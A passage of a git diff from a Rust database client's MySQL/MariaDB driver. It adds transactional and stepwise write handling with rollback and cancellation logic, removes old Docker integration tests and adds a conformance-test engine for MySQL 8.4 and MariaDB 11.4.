SessionFate, StopRequest, WorkspaceSettings, WriteAtomicity, WriteBatch, WriteKind, + WriteLedger, WriteReport, +}; + +use crate::cancel::{MySqlStop, acknowledges_stop, interrupted}; +use crate::decode::decode_row; +use crate::errors::{INCOMPLETE_ROLLBACK, map_error, reply_lost}; +use crate::flavour::MySqlFlavour; +use crate::mysql_call::Tainter; +use crate::mysql_timestamp_mode::MySqlTimestampMode; +use crate::mysql_wire_format::MySqlWireFormat; +use crate::session_statements::statement_timeout; +use crate::workspace_call::{count, prepared}; + +/// Refuse a batch before anything is sent: a read-only connection never +/// writes, and MySQL has no way to suspend foreign keys for a batch the +/// way the plan means it. +pub(crate) fn precheck(batch: &WriteBatch, read_only: bool) -> Result<(), DriverError> { + if read_only { + return Err(DriverError::ReadOnly(ReadOnlyRefusal::ClientGuard)); + } + batch.foreign_keys.require_enforced() +} + +/// Everything one write needs once its task holds a connection. +pub(crate) struct WritePlan { + pub batch: WriteBatch, + pub atomicity: WriteAtomicity, + pub ledger: Arc, + pub settings: WorkspaceSettings, +} + +/// The connection a write runs on, and what it needs at hand. +pub(crate) struct WriteContext<'a> { + pub connection: &'a mut MySqlConnection, + pub flavour: MySqlFlavour, + pub tainter: Tainter, + pub request: &'a StopRequest, + pub stop: &'a MySqlStop, +} + +pub(crate) async fn perform(context: &mut WriteContext<'_>, plan: &WritePlan) -> Result { + match (plan.batch.kind, plan.atomicity) { + (WriteKind::RowChanges, WriteAtomicity::Transactional) => transactional(context, plan).await, + (WriteKind::RowChanges, WriteAtomicity::StatementByStatement) => stepwise(context, plan).await, + (WriteKind::SchemaChanges, _) => schema_changes(context, plan).await, + } +} + +async fn transactional(context: &mut WriteContext<'_>, plan: &WritePlan) -> Result { + let ledger = &plan.ledger; + let steps = &plan.batch.steps; + if let Err(error) = run(context, "START TRANSACTION").await { + let fate = rollback(context, 0).await; + return Err(ledger.failed(0, error, fate)); + } + let mut report = Vec::with_capacity(steps.len()); + for (index, step) in steps.iter().enumerate() { + if context.request.is_requested() { + return Err(stopped_between_statements(context, plan, report.len()).await); + } + if let Some((probe, expected)) = step.guard.probe() { + match count(context.connection, context.flavour, probe).await { + Ok(actual) if actual == expected => {} + Ok(actual) => { + let fate = rollback(context, report.len()).await; + return Err(ledger.guard_failed(index, expected, actual, fate)); + } + Err(error) => return Err(transaction_step_failed(context, plan, index, error, report.len()).await), + } + } + ledger.statement_sending(index); + let affected = match execute(context, &step.statement).await { + Ok(affected) => affected, + Err(error) => return Err(transaction_step_failed(context, plan, index, error, report.len()).await), + }; + ledger.statement_confirmed(index); + report.push(Some(affected)); + if let RowGuard::AffectedExactly(expected) = step.guard + && affected != expected + { + let fate = rollback(context, report.len()).await; + return Err(ledger.guard_failed(index, expected, affected, fate)); + } + } + if context.request.is_requested() { + return Err(stopped_between_statements(context, plan, report.len()).await); + } + ledger.commit_sending(None); + match context.connection.execute("COMMIT").await { + Ok(_) => Ok(WriteReport::new(report)), + // The server answered, so the outcome is known: it rolled back. + Err(error @ sqlx::Error::Database(_)) => Err(DriverError::RolledBack { + statement_index: steps.len(), + source: Box::new(map_error(&error, context.flavour)), + }), + Err(error) => { + context.tainter.taint(); + Err(DriverError::CommitOutcomeUnknown { + token: None, + source: Box::new(map_error(&error, context.flavour)), + }) + } + } +} + +/// A statement the server refused, or one a KILL interrupted. The +/// transaction is rolled back either way, and the stop reads as what +/// asked for it. +async fn transaction_step_failed( + context: &mut WriteContext<'_>, + plan: &WritePlan, + index: usize, + error: DriverError, + executed: usize, +) -> DriverError { + let fate = rollback(context, executed).await; + if context.request.is_requested() && acknowledges_stop(&error, context.stop.progress()) { + return plan.ledger.interrupted(acknowledged(context.request), fate); + } + plan.ledger.failed(index, error, fate) +} + +/// The call was stopped while no statement was running. Any KILL sent +/// for it found the connection idle and may still be pending there, so +/// the connection does not go back to the pool. +async fn stopped_between_statements(context: &mut WriteContext<'_>, plan: &WritePlan, executed: usize) -> DriverError { + context.tainter.taint(); + let fate = match plan.atomicity { + WriteAtomicity::Transactional => rollback(context, executed).await, + WriteAtomicity::StatementByStatement => SessionFate::Discarded, + }; + plan.ledger.interrupted(interrupted(context.request), fate) +} + +/// End the transaction and learn whether it all came back. Rows a +/// trigger wrote into a table that cannot roll back stay written, and +/// the server says so with warning 1196. +async fn rollback(context: &mut WriteContext<'_>, executed: usize) -> SessionFate { + if context.connection.execute("ROLLBACK").await.is_err() { + context.tainter.taint(); + return SessionFate::Discarded; + } + match incomplete_rollback(context.connection).await { + Ok(true) => SessionFate::RollbackIncomplete { executed }, + Ok(false) => SessionFate::RolledBack, + Err(_) => { + context.tainter.taint(); + SessionFate::RolledBack + } + } +} + +async fn incomplete_rollback(connection: &mut MySqlConnection) -> Result { + let warnings = connection.fetch_all(sqlx::raw_sql("SHOW WARNINGS")).await?; + Ok(warnings.iter().any(|row| { + let values = decode_row(row, MySqlWireFormat::Text, MySqlTimestampMode::WorkspaceUtc); + values + .get(1) + .and_then(tablepro_core::Value::as_exact_u64) + .is_some_and(|code| code == u64::from(INCOMPLETE_ROLLBACK)) + })) +} + +/// Row changes on an engine that cannot roll back. Every probe runs +/// before anything is written, so a row that moved is found while +/// nothing has changed yet. CLIENT_FOUND_ROWS makes the affected count +/// the rows matched, so a count other than the guard's means that +/// statement found a different row and changed nothing, and the batch +/// stops there. +async fn stepwise(context: &mut WriteContext<'_>, plan: &WritePlan) -> Result { + for (index, step) in plan.batch.steps.iter().enumerate() { + if let Some((probe, expected)) = step.guard.probe() { + let actual = count(context.connection, context.flavour, probe) + .await + .map_err(|error| plan.ledger.failed(index, error, SessionFate::RolledBack))?; + if actual != expected { + return Err(plan + .ledger + .guard_failed(index, expected, actual, SessionFate::RolledBack)); + } + } + } + statement_by_statement(context, plan, &plan.batch.steps).await +} + +async fn statement_by_statement( + context: &mut WriteContext<'_>, + plan: &WritePlan, + steps: &[GuardedStatement], +) -> Result { + let mut report = Vec::with_capacity(steps.len()); + for (index, step) in steps.iter().enumerate() { + if context.request.is_requested() { + return Err(stopped_between_statements(context, plan, report.len()).await); + } + plan.ledger.statement_sending(index); + let affected = match execute(context, &step.statement).await { + Ok(affected) => affected, + Err(error) => return Err(step_failed(&context.tainter, &plan.ledger, index, error)), + }; + let guard_failed = matches!(step.guard, RowGuard::AffectedExactly(expected) if affected != expected); + // A statement that matched no row changed nothing, so it is not + // one of the applied ones; one that matched more did change them. + if !(guard_failed && affected == 0) { + plan.ledger.statement_confirmed(index); + } + if let RowGuard::AffectedExactly(expected) = step.guard + && guard_failed + { + return Err(plan + .ledger + .guard_failed(index, expected, affected, SessionFate::RolledBack)); + } + report.push(Some(affected)); + } + Ok(WriteReport::new(report)) +} + +/// A statement the server refused did not run. One whose connection +/// dropped may have run before the reply was lost, so on an engine that +/// cannot roll back it is reported as unknown, not as refused. +fn step_failed(tainter: &Tainter, ledger: &WriteLedger, index: usize, error: DriverError) -> DriverError { + if reply_lost(&error) { + tainter.taint(); + return ledger.interrupted(error, SessionFate::Discarded); + } + ledger.failed(index, error, SessionFate::RolledBack) +} + +/// Each DDL statement commits on its own. MariaDB's statement timeout +/// would stop a long ALTER as it stops a SELECT, so it is lifted for the +/// batch and put back after; MySQL's bounds only SELECT. +async fn schema_changes(context: &mut WriteContext<'_>, plan: &WritePlan) -> Result { + if context.flavour == MySqlFlavour::MySql { + return statement_by_statement(context, plan, &plan.batch.steps).await; + } + let lifted = statement_timeout(MySqlFlavour::MariaDb, None); + if let Err(error) = run(context, &lifted).await { + return Err(plan.ledger.failed(0, error, SessionFate::RolledBack)); + } + let outcome = statement_by_statement(context, plan, &plan.batch.steps).await; + let restore = statement_timeout(MySqlFlavour::MariaDb, Some(plan.settings.statement_timeout)); + if let Err(error) = run(context, &restore).await { + tracing::warn!(%error, "the statement timeout could not be put back; closing the connection"); + context.tainter.taint(); + } + outcome +} + +/// One step. A statement with parameters is prepared; one without goes +/// over the text protocol, which takes statements MySQL cannot prepare, +/// such as CREATE TRIGGER. +async fn execute(context: &mut WriteContext<'_>, statement: &Statement) -> Result { + let done = match statement.params().is_empty() { + true => { + context + .connection + .execute(sqlx::raw_sql(AssertSqlSafe(statement.sql().to_owned()))) + .await + } + false => prepared(statement)?.execute(&mut *context.connection).await, + }; + done.map(|result| result.rows_affected()) + .map_err(|error| map_error(&error, context.flavour)) +} + +async fn run(context: &mut WriteContext<'_>, sql: &str) -> Result<(), DriverError> { + context + .connection + .execute(sqlx::raw_sql(AssertSqlSafe(sql.to_owned()))) + .await + .map(|_| ()) + .map_err(|error| map_error(&error, context.flavour)) +} + +/// The stop as the server confirmed it. +fn acknowledged(request: &StopRequest) -> DriverError { + match interrupted(request) { + DriverError::Timeout { phase, .. } => DriverError::Timeout { + phase, + server_cancelled: true, + }, + other => other, + } +} + +#[cfg(test)] +mod tests { + use tablepro_core::meta::TableRef; + use tablepro_core::{ForeignKeyCheck, ForeignKeyMode, StopReason, TimeoutPhase}; + + use super::*; + + fn batch(foreign_keys: ForeignKeyMode) -> WriteBatch { + WriteBatch::new( + WriteKind::RowChanges, + TableRef::unqualified("t"), + Vec::new(), + foreign_keys, + ) + } + + #[test] + fn non_sqlite_drivers_reject_suspension() { + let suspended = ForeignKeyMode::SuspendedThenVerified { + checks: vec![ForeignKeyCheck { + before: None, + after: TableRef::unqualified("t"), + }], + }; + + assert_eq!( + precheck(&batch(suspended), false), + Err(DriverError::Unsupported { + feature: "foreign key suspension" + }) + ); + assert_eq!( + precheck(&batch(ForeignKeyMode::Enforced), true), + Err(DriverError::ReadOnly(ReadOnlyRefusal::ClientGuard)) + ); + assert_eq!(precheck(&batch(ForeignKeyMode::Enforced), false), Ok(())); + } + + #[test] + fn a_lost_statement_is_unknown_and_a_refused_one_did_not_apply() { + let tainter = crate::mysql_call::MysqlCall::new().tainter(); + let lost = || DriverError::ConnectionLost { + during: tablepro_core::LossPhase::Statement, + }; + + let first = WriteLedger::new(WriteAtomicity::StatementByStatement); + first.statement_sending(0); + assert!(matches!( + step_failed(&tainter, &first, 0, lost()), + DriverError::CommitOutcomeUnknown { .. } + )); + + let second = WriteLedger::new(WriteAtomicity::StatementByStatement); + second.statement_sending(0); + second.statement_confirmed(0); + second.statement_sending(1); + assert!(matches!( + step_failed(&tainter, &second, 1, lost()), + DriverError::PartiallyApplied { + applied: 1, + statement_index: 1, + failed_outcome: tablepro_core::StatementOutcome::Unknown, + .. + } + )); + + let server_answers = [ + DriverError::server("duplicate key"), + DriverError::Timeout { + phase: tablepro_core::TimeoutPhase::Statement, + server_cancelled: true, + }, + ]; + for answer in server_answers { + let refused = WriteLedger::new(WriteAtomicity::StatementByStatement); + refused.statement_sending(0); + assert!( + matches!( + step_failed(&tainter, &refused, 0, answer.clone()), + DriverError::RolledBack { statement_index: 0, .. } + ), + "{answer:?}" + ); + } + } + + #[test] + fn an_acknowledged_deadline_says_the_server_stopped_it() { + let request = StopRequest::new(); + request.request(StopReason::DeadlineElapsed); + + assert_eq!( + acknowledged(&request), + DriverError::Timeout { + phase: TimeoutPhase::Statement, + server_cancelled: true + } + ); + } +} diff --git a/linux/crates/drivers/mysql/tests/integration.rs b/linux/crates/drivers/mysql/tests/integration.rs deleted file mode 100644 index 61fb21109d..0000000000 --- a/linux/crates/drivers/mysql/tests/integration.rs +++ /dev/null @@ -1,388 +0,0 @@ -use std::str::FromStr; - -use chrono::{DateTime, NaiveDate, NaiveDateTime, NaiveTime, TimeZone, Utc}; -use rust_decimal::Decimal; -use serde_json::json; - -use drivers_mysql::MysqlDriver; -use tablepro_core::value::{JsonText, OffsetTimestamp, SqlTime, Temporal}; -use tablepro_core::{ConnectOptions, DatabaseDriver, Value}; -use testcontainers::ImageExt; -use testcontainers::{ContainerAsync, TestcontainersError}; -use testcontainers_modules::mysql::Mysql; -use testcontainers_modules::testcontainers::runners::AsyncRunner; - -async fn start_mysql() -> Result<(ContainerAsync, ConnectOptions), TestcontainersError> { - let container = Mysql::default() - .with_env_var("MYSQL_ROOT_PASSWORD", "tablepro_test") - .with_cmd(["--default-authentication-plugin=mysql_native_password"]) - .start() - .await?; - let host = container.get_host().await?.to_string(); - let port = container.get_host_port_ipv4(3306).await?; - let opts = ConnectOptions { - host, - port, - database: "test".into(), - username: "root".into(), - password: secrecy::SecretString::new("tablepro_test".to_string().into()), - use_tls: false, - ..Default::default() - }; - Ok((container, opts)) -} - -async fn start_caching_sha2() -> Result<(ContainerAsync, ConnectOptions), TestcontainersError> { - let container = Mysql::default() - .with_env_var("MYSQL_ROOT_PASSWORD", "tablepro_test") - .start() - .await?; - let host = container.get_host().await?.to_string(); - let port = container.get_host_port_ipv4(3306).await?; - let opts = ConnectOptions { - host, - port, - database: "test".into(), - username: "root".into(), - password: secrecy::SecretString::new("tablepro_test".to_string().into()), - use_tls: false, - ..Default::default() - }; - Ok((container, opts)) -} - -// caching_sha2_password over a plaintext connection falls back to full -// authentication, where the client encrypts the password with the -// server's public key. Without sqlx's mysql-rsa feature that path fails -// at runtime, so a successful connect is the assertion. -#[tokio::test] -#[ignore = "requires docker"] -async fn caching_sha2_without_tls_uses_rsa() { - let (_c, opts) = start_caching_sha2().await.unwrap(); - let conn = MysqlDriver.connect(opts).await.unwrap(); - - let plugin = conn - .query("SELECT CAST(plugin AS CHAR) FROM mysql.user WHERE user = 'root' AND host = '%'") - .await - .unwrap(); - - assert_eq!(plugin.rows[0][0], Value::Text("caching_sha2_password".into())); -} - -#[tokio::test] -#[ignore = "requires docker"] -async fn connect_list_tables_and_pk_detection() { - let (_c, opts) = start_mysql().await.unwrap(); - let conn = MysqlDriver.connect(opts).await.unwrap(); - - conn.execute( - "CREATE TABLE pk_demo ( - id int AUTO_INCREMENT PRIMARY KEY, - name varchar(255) NOT NULL, - note text NULL - )", - ) - .await - .unwrap(); - conn.execute("INSERT INTO pk_demo (name, note) VALUES ('a', NULL), ('b', 'second')") - .await - .unwrap(); - - let tables = conn.list_tables().await.unwrap(); - assert!(tables.iter().any(|t| t.name == "pk_demo")); - - let cols = conn.fetch_columns(None, "pk_demo").await.unwrap(); - assert_eq!(cols.len(), 3); - let id_col = cols.iter().find(|c| c.name == "id").unwrap(); - assert!(id_col.primary_key, "id must be detected as primary key"); - assert!(!id_col.nullable); - let note_col = cols.iter().find(|c| c.name == "note").unwrap(); - assert!(!note_col.primary_key); - assert!(note_col.nullable); - - let result = conn.fetch_rows(None, "pk_demo", 0, 100).await.unwrap(); - assert_eq!(result.rows.len(), 2); - assert!(!result.truncated); -} - -#[tokio::test] -#[ignore = "requires docker"] -async fn value_roundtrip_all_types() { - let (_c, opts) = start_mysql().await.unwrap(); - let conn = MysqlDriver.connect(opts).await.unwrap(); - - conn.execute( - "CREATE TABLE roundtrip ( - id int AUTO_INCREMENT PRIMARY KEY, - b tinyint(1), - i_small smallint, - i_medium mediumint, - i_big bigint, - f_single float, - f_double double, - num decimal(20,5), - t text, - bytes varbinary(64), - d date, - tm time, - dt datetime, - ts timestamp NULL, - u varchar(36), - j json, - nullable_text text NULL - )", - ) - .await - .unwrap(); - - let date = NaiveDate::from_ymd_opt(2024, 6, 15).unwrap(); - let time = NaiveTime::from_hms_opt(13, 45, 30).unwrap(); - let dt = NaiveDateTime::new(date, time); - let tz: DateTime = Utc.with_ymd_and_hms(2024, 6, 15, 13, 45, 30).unwrap(); - let uuid = uuid::Uuid::from_str("550e8400-e29b-41d4-a716-446655440000").unwrap(); - let dec = Decimal::from_str("12345.67890").unwrap(); - let json_val = json!({"k": [1, 2, 3], "nested": {"flag": true}}); - - let params = vec![ - Value::Bool(true), - Value::Int(123), - Value::Int(456_789), - Value::Int(9_000_000_000_000_000_000), - Value::Float64(1.5_f64), - Value::Float64(std::f64::consts::PI), - Value::Decimal(dec.to_string().parse().expect("a decimal")), - Value::Text("hello\nworld".into()), - Value::Bytes(vec![0xde, 0xad, 0xbe, 0xef]), - Value::Date(Temporal::Finite(date)), - Value::Time(SqlTime::from_time_of_day(time)), - Value::Timestamp(Temporal::Finite(dt)), - Value::TimestampTz(Temporal::Finite(OffsetTimestamp::from_datetime(tz.fixed_offset()))), - Value::Uuid(uuid), - Value::Json(JsonText::parse(json_val.to_string()).expect("valid json")), - Value::Null, - ]; - - let res = conn - .execute_params( - "INSERT INTO roundtrip - (b, i_small, i_medium, i_big, f_single, f_double, num, t, bytes, d, tm, dt, ts, u, j, nullable_text) - VALUES (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)", - ¶ms, - ) - .await - .unwrap(); - assert_eq!(res.rows_affected, 1); - - let q = conn - .query( - "SELECT b, i_small, i_medium, i_big, f_single, f_double, num, t, bytes, d, tm, dt, ts, u, j, nullable_text - FROM roundtrip ORDER BY id", - ) - .await - .unwrap(); - assert_eq!(q.rows.len(), 1); - let row = &q.rows[0]; - - match &row[0] { - Value::Bool(true) => {} - Value::Int(1) => {} - v => panic!("expected tinyint(1) -> Bool(true) or Int(1), got {v:?}"), - } - assert!(matches!(row[1], Value::Int(123))); - assert!(matches!(row[2], Value::Int(456_789))); - assert!(matches!(row[3], Value::Int(9_000_000_000_000_000_000))); - // A single-precision float keeps its own width: widening it to - // f64 and back does not round-trip. - match &row[4] { - Value::Float32(f) => assert_eq!(*f, 1.5_f32), - v => panic!("expected a 32-bit float, got {v:?}"), - } - match &row[5] { - Value::Float64(f) => assert!((*f - std::f64::consts::PI).abs() < 1e-9), - v => panic!("expected double, got {v:?}"), - } - match &row[6] { - Value::Decimal(d) => assert_eq!(d.to_string(), "12345.67890"), - v => panic!("expected decimal, got {v:?}"), - } - assert_eq!(row[7], Value::Text("hello\nworld".into())); - assert_eq!(row[8], Value::Bytes(vec![0xde, 0xad, 0xbe, 0xef])); - assert_eq!(row[9], Value::Date(Temporal::Finite(date))); - assert_eq!(row[10], Value::Time(SqlTime::from_time_of_day(time))); - assert_eq!(row[11], Value::Timestamp(Temporal::Finite(dt))); - assert_eq!( - row[12], - Value::TimestampTz(Temporal::Finite(OffsetTimestamp::from_datetime(tz.fixed_offset()))) - ); - match &row[13] { - Value::Text(s) => assert_eq!(s, "550e8400-e29b-41d4-a716-446655440000"), - v => panic!("expected uuid as text, got {v:?}"), - } - // The document comes back the way the server prints it, not the - // way it was written: MySQL stores a parsed document, so the grid - // shows the server's own rendering. - match &row[14] { - Value::Json(v) => assert_eq!(v.as_str(), r#"{"k": [1, 2, 3], "nested": {"flag": true}}"#), - v => panic!("expected json, got {v:?}"), - } - assert_eq!(row[15], Value::Null); -} - -#[tokio::test] -#[ignore = "requires docker"] -async fn pagination_and_truncated_flag() { - let (_c, opts) = start_mysql().await.unwrap(); - let conn = MysqlDriver.connect(opts).await.unwrap(); - - conn.execute("CREATE TABLE big (i int PRIMARY KEY)").await.unwrap(); - let mut sql = String::from("INSERT INTO big (i) VALUES "); - for i in 0..50 { - if i > 0 { - sql.push(','); - } - sql.push_str(&format!("({i})")); - } - conn.execute(&sql).await.unwrap(); - - let page = conn.fetch_rows(None, "big", 10, 5).await.unwrap(); - assert_eq!(page.rows.len(), 5); - let firsts: Vec = page - .rows - .iter() - .map(|r| match r[0] { - Value::Int(i) => i, - _ => panic!(), - }) - .collect(); - assert_eq!(firsts, vec![10, 11, 12, 13, 14]); - - let q = conn.query("SELECT i FROM big ORDER BY i").await.unwrap(); - assert_eq!(q.rows.len(), 50); - assert!(!q.truncated); -} - -#[tokio::test] -#[ignore = "requires docker"] -async fn bad_sql_returns_query_error() { - let (_c, opts) = start_mysql().await.unwrap(); - let conn = MysqlDriver.connect(opts).await.unwrap(); - - let err = conn.query("SELECT * FROM no_such_table").await.unwrap_err(); - let msg = format!("{err}").to_lowercase(); - assert!( - msg.contains("no_such_table") || msg.contains("doesn't exist") || msg.contains("table"), - "expected error to mention missing table, got: {msg}" - ); -} - -#[tokio::test] -#[ignore = "requires docker"] -async fn wire_only_types_read_back() { - let (_c, opts) = start_mysql().await.unwrap(); - let conn = MysqlDriver.connect(opts).await.unwrap(); - - conn.execute( - "CREATE TABLE wire_types ( - id int AUTO_INCREMENT PRIMARY KEY, - big_unsigned bigint unsigned, - small_unsigned smallint unsigned, - made_in year, - flags bit(8), - span time, - wide decimal(40,10), - nothing decimal(10,2) - )", - ) - .await - .unwrap(); - conn.execute( - "INSERT INTO wire_types (big_unsigned, small_unsigned, made_in, flags, span, wide, nothing) - VALUES (18446744073709551615, 65535, 2024, b'10110011', '-838:59:59', - 1234567890123456789012345678.9012345678, NULL)", - ) - .await - .unwrap(); - - let q = conn - .query( - "SELECT big_unsigned, small_unsigned, made_in, flags, span, wide, nothing - FROM wire_types", - ) - .await - .unwrap(); - let row = &q.rows[0]; - - // Past what a signed 64-bit integer holds, so a widening decode - // would wrap it into a negative. - assert_eq!(row[0], Value::UInt(u64::MAX)); - assert_eq!(row[1], Value::UInt(65535)); - assert_eq!(row[2], Value::UInt(2024)); - match &row[3] { - Value::Bits(b) => assert_eq!(b.to_string(), "10110011"), - v => panic!("expected bits, got {v:?}"), - } - match &row[4] { - Value::Time(t) => assert_eq!(t.format(None), "-838:59:59"), - v => panic!("expected a time span, got {v:?}"), - } - match &row[5] { - Value::Decimal(d) => assert_eq!(d.to_string(), "1234567890123456789012345678.9012345678"), - v => panic!("expected a wide decimal, got {v:?}"), - } - // A NULL in a type the driver reads through the wire form still - // reads as a NULL, not as an unreadable value. - assert_eq!(row[6], Value::Null); -} - -#[tokio::test] -#[ignore = "requires docker"] -async fn column_comments_round_trip() { - let (_c, opts) = start_mysql().await.unwrap(); - let conn = MysqlDriver.connect(opts).await.unwrap(); - - conn.execute( - "CREATE TABLE comment_demo ( - id INT, - email VARCHAR(255) COMMENT 'primary contact' - )", - ) - .await - .unwrap(); - - let read = - |cols: Vec, name: &str| cols.into_iter().find(|c| c.name == name).unwrap().comment; - let cols = conn.fetch_columns(None, "comment_demo").await.unwrap(); - assert_eq!(read(cols.clone(), "email").as_deref(), Some("primary contact")); - // MySQL stores the empty string for a column nobody described, and - // that has to read as absent rather than as an empty description. - assert_eq!(read(cols.clone(), "id"), None); - - let mut column = - tablepro_core::sql_ddl::DraftColumn::from_info(cols.into_iter().find(|c| c.name == "email").unwrap()); - column.comment = Some("who to mail".into()); - for sql in tablepro_core::sql_ddl::build_alter_column("mysql", None, "comment_demo", &column).unwrap() { - conn.execute(&sql).await.unwrap(); - } - let cols = conn.fetch_columns(None, "comment_demo").await.unwrap(); - assert_eq!(read(cols.clone(), "email").as_deref(), Some("who to mail")); - - // A change to something else must not take the description with - // it: MODIFY COLUMN replaces the whole definition. - let mut column = - tablepro_core::sql_ddl::DraftColumn::from_info(cols.into_iter().find(|c| c.name == "email").unwrap()); - column.nullable = false; - for sql in tablepro_core::sql_ddl::build_alter_column("mysql", None, "comment_demo", &column).unwrap() { - conn.execute(&sql).await.unwrap(); - } - let cols = conn.fetch_columns(None, "comment_demo").await.unwrap(); - assert_eq!(read(cols.clone(), "email").as_deref(), Some("who to mail")); - - let mut column = - tablepro_core::sql_ddl::DraftColumn::from_info(cols.into_iter().find(|c| c.name == "email").unwrap()); - column.comment = None; - for sql in tablepro_core::sql_ddl::build_alter_column("mysql", None, "comment_demo", &column).unwrap() { - conn.execute(&sql).await.unwrap(); - } - let cols = conn.fetch_columns(None, "comment_demo").await.unwrap(); - assert_eq!(read(cols, "email"), None); -} diff --git a/linux/crates/drivers/mysql/tests/integration/conformance_engine.rs b/linux/crates/drivers/mysql/tests/integration/conformance_engine.rs new file mode 100644 index 0000000000..c9f01abb46 --- /dev/null +++ b/linux/crates/drivers/mysql/tests/integration/conformance_engine.rs @@ -0,0 +1,221 @@ +//! The connection conformance suite against MySQL 8.4 and MariaDB 11.4. + +use std::marker::PhantomData; +use std::sync::Arc; +use std::time::Duration; + +use async_trait::async_trait; +use drivers_mysql::{MysqlDriver, WORKSPACE_POOL_MAX_SIZE}; +use tablepro_core::{ + ConnectOptions, DatabaseDriver, LivenessPolicy, NetworkEndpoint, TableRef, TlsConfig, WorkspaceSettings, +}; +use tablepro_test_fixtures::{MysqlFixture, MysqlFlavour, MysqlOptions}; +use tablepro_test_support::FaultTransport; +use tablepro_test_support::conformance::{ + BoundedDdlEngine, ConformanceEngine, ConformanceFailure, EditorTransactionEngine, NetworkConformanceEngine, + PooledConformanceEngine, TypedConformanceEngine, UnsupportedTypeCase, +}; + +use crate::support::{direct, options_over, password}; + +/// Which server an engine starts. +pub trait Server: Send + Sync + 'static { + const FLAVOUR: MysqlFlavour; +} + +pub struct Mysql84; + +impl Server for Mysql84 { + const FLAVOUR: MysqlFlavour = MysqlFlavour::Mysql; +} + +pub struct Mariadb114; + +impl Server for Mariadb114 { + const FLAVOUR: MysqlFlavour = MysqlFlavour::Mariadb; +} + +pub struct MySqlEngine { + fixture: MysqlFixture, + server: PhantomData, +} + +fn quoted(name: &str) -> String { + format!("`{}`", name.replace('`', "``")) +} + +fn qualified(table: &TableRef) -> String { + match &table.schema { + Some(schema) => format!("{}.{}", quoted(schema), quoted(&table.name)), + None => quoted(&table.name), + } +} + +#[async_trait] +impl ConformanceEngine for MySqlEngine { + fn driver() -> Arc { + Arc::new(MysqlDriver) + } + + async fn start() -> Result { + let options = MysqlOptions::new(S::FLAVOUR).allowing_plaintext(); + let fixture = MysqlFixture::start_with(options, None) + .await + .map_err(ConformanceFailure::setup)?; + Ok(Self { + fixture, + server: PhantomData, + }) + } + + fn connect_options(&self, settings: WorkspaceSettings, liveness: LivenessPolicy) -> ConnectOptions { + options_over( + direct(self.fixture.host(), self.fixture.port(), &liveness), + password(&self.fixture.password_credentials()), + self.fixture.database(), + TlsConfig::disabled(), + settings, + liveness, + ) + } + + fn scratch_table(&self, name: &str) -> TableRef { + TableRef::new(Some(self.fixture.database().to_owned()), name) + } + + fn create_scratch_table_sql(&self, table: &TableRef) -> String { + format!( + "CREATE TABLE {} (id integer PRIMARY KEY, label text NOT NULL)", + qualified(table) + ) + } + + /// SLEEP alone in a SELECT returns 1 when killed, with no error, so + /// it sits in a WHERE clause, where a KILL fails the statement. + fn unbounded_statement_sql(&self, marker: &str) -> String { + format!("SELECT 1 FROM DUAL WHERE SLEEP(3600) = 0 /* {marker} */") + } + + async fn blocking_statement_sql(&self, marker: &str, hold: Duration) -> Result { + Ok(format!("SELECT SLEEP({}) /* {marker} */", hold.as_secs_f64())) + } + + /// A LIMIT of its own, so `sql_select_limit` does not cut it and the + /// editor reads past its row limit. Both servers stop a recursive CTE + /// after 1,000 rounds by default, so MySQL raises the bound for the + /// statement and MariaDB reads its sequence engine instead. + fn row_source_sql(&self, rows: u64) -> String { + match S::FLAVOUR { + MysqlFlavour::Mysql => format!( + "WITH RECURSIVE source (n) AS (SELECT 1 UNION ALL SELECT n + 1 FROM source WHERE n < {rows}) \ + SELECT /*+ SET_VAR(cte_max_recursion_depth = {rows}) */ n FROM source LIMIT {rows}" + ), + MysqlFlavour::Mariadb => format!("SELECT seq AS n FROM seq_1_to_{rows} LIMIT {rows}"), + } + } +} + +#[async_trait] +impl NetworkConformanceEngine for MySqlEngine { + async fn faulty_connect_options( + &self, + settings: WorkspaceSettings, + liveness: LivenessPolicy, + ) -> Result<(ConnectOptions, Arc), ConformanceFailure> { + let endpoint = + NetworkEndpoint::new(self.fixture.host(), self.fixture.port()).map_err(ConformanceFailure::setup)?; + let fault = Arc::new(FaultTransport::direct(endpoint, &liveness).map_err(ConformanceFailure::setup)?); + let options = options_over( + fault.clone(), + password(&self.fixture.password_credentials()), + self.fixture.database(), + TlsConfig::disabled(), + settings, + liveness, + ); + Ok((options, fault)) + } + + fn running_statement_count_sql(&self, marker: &str) -> String { + format!( + "SELECT COUNT(*) FROM information_schema.PROCESSLIST \ + WHERE INFO LIKE '%{marker}%' AND ID <> CONNECTION_ID()" + ) + } +} + +impl PooledConformanceEngine for MySqlEngine { + const WORKSPACE_POOL_MAX_SIZE: usize = WORKSPACE_POOL_MAX_SIZE; +} + +impl EditorTransactionEngine for MySqlEngine { + fn begin_sql(&self) -> String { + "BEGIN".to_owned() + } + + fn commit_sql(&self) -> String { + "COMMIT".to_owned() + } +} + +impl TypedConformanceEngine for MySqlEngine { + fn unsupported_type_cases(&self) -> Vec { + let case = |declaration: &str, value: &str| UnsupportedTypeCase { + setup_sql: Vec::new(), + declaration: declaration.to_owned(), + insert_value_sql: value.to_owned(), + }; + let mut cases = vec![ + case("v geometry", "ST_GeomFromText('POINT(1 2)')"), + case("v set('a', 'b')", "'a,b'"), + case("v bit(10)", "b'1010101010'"), + case("v year", "2024"), + ]; + if S::FLAVOUR == MysqlFlavour::Mariadb { + cases.push(case("v inet6", "'::1'")); + cases.push(case("v uuid", "'123e4567-e89b-12d3-a456-426614174000'")); + } + cases + } +} + +/// MariaDB's `max_statement_time` stops a CREATE ... SELECT as it stops a +/// SELECT. MySQL's `max_execution_time` bounds only read-only SELECTs, so +/// it has no bounded DDL to lift and runs without this case. +impl BoundedDdlEngine for MySqlEngine { + fn schema_change_exceeding_sql(&self, table: &TableRef, duration: Duration) -> String { + format!( + "CREATE TABLE {} AS SELECT SLEEP({}) AS id", + qualified(table), + duration.as_secs_f64() + ) + } +} + +mod mysql_suite { + use super::{MySqlEngine, Mysql84}; + + tablepro_test_support::connection_conformance_suite! { + engine: MySqlEngine, + docker: true, + endpoint: network, + pool: pooled, + editor_transactions: true, + unsupported_types: true, + bounded_ddl: false, + } +} + +mod mariadb_suite { + use super::{Mariadb114, MySqlEngine}; + + tablepro_test_support::connection_conformance_suite! { + engine: MySqlEngine, + docker: true, + endpoint: network, + pool: pooled, + editor_transactions: true, + unsupported_types: true, + bounded_ddl: true, + } +} diff --git a/linux/crates/drivers/mysql/tests/integration/decode.rs b/linux/crates/drivers/mysql/tests/integration/decode.rs new file mode 100644 index 